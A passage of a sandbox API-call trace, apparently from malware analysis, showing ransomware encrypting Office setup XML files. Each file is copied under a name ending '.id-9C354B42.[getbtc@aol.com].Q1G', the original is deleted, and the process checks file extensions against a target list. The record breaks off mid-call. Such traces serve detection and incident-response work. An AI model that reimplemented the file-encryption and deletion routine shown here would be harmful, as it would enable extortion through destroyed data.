[0041.429] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x1915, lpOverlapped=0x0) returned 1 [0041.430] WriteFile (in: hFile=0x1fc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0041.431] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.432] WriteFile (in: hFile=0x1fc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xee, lpOverlapped=0x0) returned 1 [0041.432] SetEndOfFile (hFile=0x1fc) returned 1 [0041.432] CloseHandle (hObject=0x1fc) returned 1 [0041.432] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.432] SetEndOfFile (hFile=0x19c) returned 1 [0041.433] CloseHandle (hObject=0x19c) returned 1 [0041.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0041.434] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 1 [0041.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0041.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0041.434] lstrlenW (lpString=".doc") returned 4 [0041.434] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.434] lstrlenW (lpString=".docx") returned 5 [0041.434] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0041.434] lstrlenW (lpString=".pdf") returned 4 [0041.434] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.434] lstrlenW (lpString=".xls") returned 4 [0041.434] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.434] lstrlenW (lpString=".xlsx") returned 5 [0041.434] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0041.435] lstrlenW (lpString=".ppt") returned 4 [0041.435] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0041.435] lstrlenW (lpString=".zip") returned 4 [0041.435] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.435] lstrlenW (lpString=".rar") returned 4 [0041.435] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.435] lstrlenW (lpString=".bz2") returned 4 [0041.435] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.435] lstrlenW (lpString=".7z") returned 3 [0041.435] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0041.435] lstrlenW (lpString=".dbf") returned 4 [0041.435] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0041.435] lstrlenW (lpString=".1cd") returned 4 [0041.435] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0041.435] lstrlenW (lpString=".jpg") returned 4 [0041.435] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0041.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0041.435] lstrlenW (lpString=".doc") returned 4 [0041.435] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.435] lstrlenW (lpString=".docx") returned 5 [0041.435] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0041.435] lstrlenW (lpString=".pdf") returned 4 [0041.436] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.436] lstrlenW (lpString=".xls") returned 4 [0041.436] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.436] lstrlenW (lpString=".xlsx") returned 5 [0041.436] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0041.436] lstrlenW (lpString=".ppt") returned 4 [0041.436] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0041.436] lstrlenW (lpString=".zip") returned 4 [0041.436] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.436] lstrlenW (lpString=".rar") returned 4 [0041.436] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.436] lstrlenW (lpString=".bz2") returned 4 [0041.436] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.436] lstrlenW (lpString=".7z") returned 3 [0041.436] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0041.436] lstrlenW (lpString=".dbf") returned 4 [0041.436] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0041.436] lstrlenW (lpString=".1cd") returned 4 [0041.436] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0041.436] lstrlenW (lpString=".jpg") returned 4 [0041.436] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.436] lstrcmpiW (lpString1=".XML", lpString2=".Q1G") returned 1 [0041.436] lstrlenW (lpString="SETUP.XML") returned 9 [0041.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.437] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=16683) returned 1 [0041.438] CloseHandle (hObject=0x19c) returned 1 [0041.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0041.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0041.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.438] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.438] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0041.438] GetLastError () returned 0x0 [0041.438] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x412b, lpOverlapped=0x0) returned 1 [0041.440] WriteFile (in: hFile=0x1fc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0041.441] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.441] WriteFile (in: hFile=0x1fc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.442] SetEndOfFile (hFile=0x1fc) returned 1 [0041.442] CloseHandle (hObject=0x1fc) returned 1 [0041.442] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.442] SetEndOfFile (hFile=0x19c) returned 1 [0041.443] CloseHandle (hObject=0x19c) returned 1 [0041.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0041.444] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 1 [0041.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.444] lstrlenW (lpString=".doc") returned 4 [0041.444] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.444] lstrlenW (lpString=".docx") returned 5 [0041.444] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.444] lstrlenW (lpString=".pdf") returned 4 [0041.444] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.444] lstrlenW (lpString=".xls") returned 4 [0041.444] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.444] lstrlenW (lpString=".xlsx") returned 5 [0041.444] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.444] lstrlenW (lpString=".ppt") returned 4 [0041.444] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.444] lstrlenW (lpString=".zip") returned 4 [0041.444] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.444] lstrlenW (lpString=".rar") returned 4 [0041.444] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.444] lstrlenW (lpString=".bz2") returned 4 [0041.444] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.444] lstrlenW (lpString=".7z") returned 3 [0041.445] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.445] lstrlenW (lpString=".dbf") returned 4 [0041.445] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.445] lstrlenW (lpString=".1cd") returned 4 [0041.445] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.445] lstrlenW (lpString=".jpg") returned 4 [0041.445] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.445] lstrlenW (lpString=".doc") returned 4 [0041.445] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.445] lstrlenW (lpString=".docx") returned 5 [0041.445] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.445] lstrlenW (lpString=".pdf") returned 4 [0041.445] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.445] lstrlenW (lpString=".xls") returned 4 [0041.445] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.445] lstrlenW (lpString=".xlsx") returned 5 [0041.445] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.445] lstrlenW (lpString=".ppt") returned 4 [0041.445] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.445] lstrlenW (lpString=".zip") returned 4 [0041.445] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.445] lstrlenW (lpString=".rar") returned 4 [0041.445] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.445] lstrlenW (lpString=".bz2") returned 4 [0041.445] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.446] lstrlenW (lpString=".7z") returned 3 [0041.446] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.446] lstrlenW (lpString=".dbf") returned 4 [0041.446] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.446] lstrlenW (lpString=".1cd") returned 4 [0041.446] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.446] lstrlenW (lpString=".jpg") returned 4 [0041.446] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.446] lstrcmpiW (lpString1=".XML", lpString2=".Q1G") returned 1 [0041.446] lstrlenW (lpString="ProjectMUI.XML") returned 14 [0041.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.446] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=1452) returned 1 [0041.446] CloseHandle (hObject=0x19c) returned 1 [0041.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0041.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0041.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.447] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.447] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0042.156] GetLastError () returned 0x0 [0042.156] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0042.157] WriteFile (in: hFile=0x1fc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0042.158] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.158] WriteFile (in: hFile=0x1fc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0042.158] SetEndOfFile (hFile=0x1fc) returned 1 [0042.158] CloseHandle (hObject=0x1fc) returned 1 [0042.159] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.159] SetEndOfFile (hFile=0x19c) returned 1 [0042.160] CloseHandle (hObject=0x19c) returned 1 [0042.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0042.160] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 1 [0042.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0042.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0042.160] lstrlenW (lpString=".doc") returned 4 [0042.160] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.160] lstrlenW (lpString=".docx") returned 5 [0042.160] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0042.160] lstrlenW (lpString=".pdf") returned 4 [0042.160] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.161] lstrlenW (lpString=".xls") returned 4 [0042.161] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.161] lstrlenW (lpString=".xlsx") returned 5 [0042.161] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0042.161] lstrlenW (lpString=".ppt") returned 4 [0042.161] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0042.161] lstrlenW (lpString=".zip") returned 4 [0042.161] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.161] lstrlenW (lpString=".rar") returned 4 [0042.161] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.161] lstrlenW (lpString=".bz2") returned 4 [0042.161] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.161] lstrlenW (lpString=".7z") returned 3 [0042.161] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0042.161] lstrlenW (lpString=".dbf") returned 4 [0042.161] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0042.161] lstrlenW (lpString=".1cd") returned 4 [0042.161] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0042.161] lstrlenW (lpString=".jpg") returned 4 [0042.161] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0042.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0042.161] lstrlenW (lpString=".doc") returned 4 [0042.161] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.161] lstrlenW (lpString=".docx") returned 5 [0042.161] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0042.161] lstrlenW (lpString=".pdf") returned 4 [0042.161] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.161] lstrlenW (lpString=".xls") returned 4 [0042.161] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.161] lstrlenW (lpString=".xlsx") returned 5 [0042.162] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0042.162] lstrlenW (lpString=".ppt") returned 4 [0042.162] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0042.162] lstrlenW (lpString=".zip") returned 4 [0042.162] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.162] lstrlenW (lpString=".rar") returned 4 [0042.162] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.162] lstrlenW (lpString=".bz2") returned 4 [0042.162] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.162] lstrlenW (lpString=".7z") returned 3 [0042.162] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0042.162] lstrlenW (lpString=".dbf") returned 4 [0042.162] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0042.162] lstrlenW (lpString=".1cd") returned 4 [0042.162] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0042.162] lstrlenW (lpString=".jpg") returned 4 [0042.162] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.162] lstrcmpiW (lpString1=".XML", lpString2=".Q1G") returned 1 [0042.162] lstrlenW (lpString="SETUP.XML") returned 9 [0042.162] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.165] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=6241) returned 1 [0042.165] CloseHandle (hObject=0x19c) returned 1 [0042.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0042.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0042.165] CreateFileW (lpFileName="C:\\Program 